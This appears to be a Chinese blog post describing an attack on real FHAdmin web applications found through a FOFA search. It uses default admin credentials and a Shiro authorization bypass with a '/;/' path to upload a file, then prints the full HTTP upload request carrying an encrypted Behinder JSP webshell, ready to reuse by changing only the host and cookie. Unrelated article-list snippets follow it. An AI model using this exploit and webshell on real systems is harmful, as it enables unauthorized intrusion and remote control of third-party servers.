又是一个愉快的摸鱼的一天,闲来无事去逛先知社区突然看到了一篇名为shrio权限实战绕过的文章(https://xz.aliyun.com/t/8311),这时不禁突然 回想起来之前看到过的一个微信公众号文章:那夜我做了个梦,差点我就相信了 !

于是便开启了新一轮的探索,我们可以去fofa去查找 intitle:FHAdmin,当然我之前是搜索过的所以在我打开搜索框输入 fh的一刹那便出现了我要的网站。

下面开始正式实战

这是我们的目标网站:

 

 

结合先知社区中看到的登录框图片:

真的是出人意料的相似啊,有木有.

当然在做这个实验的时候我们还是要先验证是否存在shiro漏洞的。

当然文章中说是额米有爆破出来密码的但是,我之前看过的微信文章之后是知道存在 管理员账号密码的 :admin/1

再记住密码的情况下

好家伙直接cookie明文传输密码。

OK,接下来就按照文章中的构造吧

发现上传成功,但是居然找不到文件。

于是接着看,文章中再上传点需要请求参数?uploadPath=/plugins/uploadify/

/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/

当然 在我在实验中还遇到了其他的问题,那就是光照猫画虎,没有注意到需要构造完整的文件上传包了,有点憨批了。

完整的如下截图:

POST /;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1

Host: x.x.x.x

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------1873137538776189788600609431

Content-Length: 772

Connection: close

Cookie: JSESSIONID=587CDE2437A0AE2C40FB25DE5D71339C

Upgrade-Insecure-Requests: 1

DNT: 1

X-Forwarded-For: 127.0.0.1

-----------------------------1873137538776189788600609431

Content-Disposition: form-data; name="imgFile"; filename="shell.jsp"

Content-Type: application/octet-stream

AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

-----------------------------1873137538776189788600609431

【其他类似的情况下只需要修改 host以及cookie就可以了】,这里我用的冰蝎,走起直接上传webshell。

FHAdmin实战获取shell的更多相关文章

  1. linux c程序中获取shell脚本输出的实现方法

    linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...

  2. Python学习总结10:获取shell输出结果

    Python中获取shell命令的输出结果的常见方法如下几种: 1. import subprocess output = subprocess.Popen(['ls','-l'],stdout=su ...

  3. linux 获取shell内置命令帮助信息 help xx

    shell,命令解释器 shell内置命令有cd/umask/pwd等 help shell内置命令适用于所有用户获取shell内置命令的帮助信息help umaskhelp if

  4. 怎样获取shell函数的返回值及shell命令的返回值?

    1.获取shell函数调用的返回值: #!/bin/sh info() { cat jlb.sh } res=`info` echo "state: "$? echo " ...

  5. python获取shell输出(转)

    From:http://www.cnblogs.com/snow-backup/p/5035792.html   python中获取shell命令输出的方法: 1.  import subproces ...

  6. 登陆获取shell时的配置文件加载过程

    最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...

  7. c获取shell中的参数

    问题背景 在Linux中我们会使用到shell,来完成输入参数的获取,就如同下面的形式,这种形式在进行多语言编程和调用有着非常重要的作用 一.传递的过程 1.1 原理模型如下: 1.1.1 可执行sh ...

  8. shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)

    shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查) Shell脚本与MySQL数据库交互(增删改查) # 环境准备:安装mariadb 数据库 [ro ...

  9. jenkins pipeline中获取shell命令的标准输出或者状态

    //获取标准输出//第一种 result = sh returnStdout: true ,script: "<shell command>" result = res ...

  10. 获取Shell后的操作

    对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同. Windows 当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作 ...

随机推荐

  1. VBoxNetAdpCtl: Error while adding new interface: failed to open /dev/vboxnetctl: No such file or directory.

    macOS VirtualBox Bridged Adapter 不能用 I'm running macOS High Sierra 10.13.1 and VirtualBox 5.2.2. Thi ...

  2. HarmonyOS基础

    目录 自适应布局 自适应拉伸布局 自适应缩放 自适应延伸 组件多态 ArkUI开发框架 基础组件 Text组件和Span组件 参考 参考:harmonyos3: 鸿蒙ArkUI eTS教程配套源码 参 ...

  3. Ubuntu查看系统服务

    Linux服务是Linux系统非常重要的一环,查看服务,需要用到chkconfig工具,然而在Ubuntu 12.0版本,却没有查找到此命令. 查询stackOverflow获取了正确答案,对于Ubu ...

  4. AngularJS UI

    1, angular ui 自定义弹框 <script type="text/ng-template" id="stackedModal.html"> ...

  5. pdf在线预览 ng2-pdf-viewer的运用

    angular项目在线预览PDF 1 安装 ng2-pdf-viewer yarn add ng2-pdf-viewer 2 在项目中添加 import { NgModule } from '@ang ...

  6. spring缓存创建

    /** * * <b>创建缓存</b> * <p> * 创建缓存,若已存在直接返回. * <p> * @param cacheName * @retur ...

  7. using Spire.Pdf 合并文件夹下.pdf 文件

    using Spire.Pdf private void mergePDF() { List<string> filesList = new List<string>(); D ...

  8. XML报文解析

    /** * XML报文解析 * @param docStr */ private Map<String, Object> analysisXmlStr(String xmlStr) { t ...

  9. UnityAndroid 获取根目录文件

    1. 在Unity打包时获取SD权限 2. Android根目录为 "/storage/emulated/0"; 代码: if (Directory.Exists("/s ...

  10. java-正确打日志

    使用 slf4j 使用门面模式的日志框架,有利于维护和各个类的日志处理方式统一. 实现方式统一使用: Logback 框架 打日志的正确方式 什么时候应该打日志 当你遇到问题的时候,只能通过 debu ...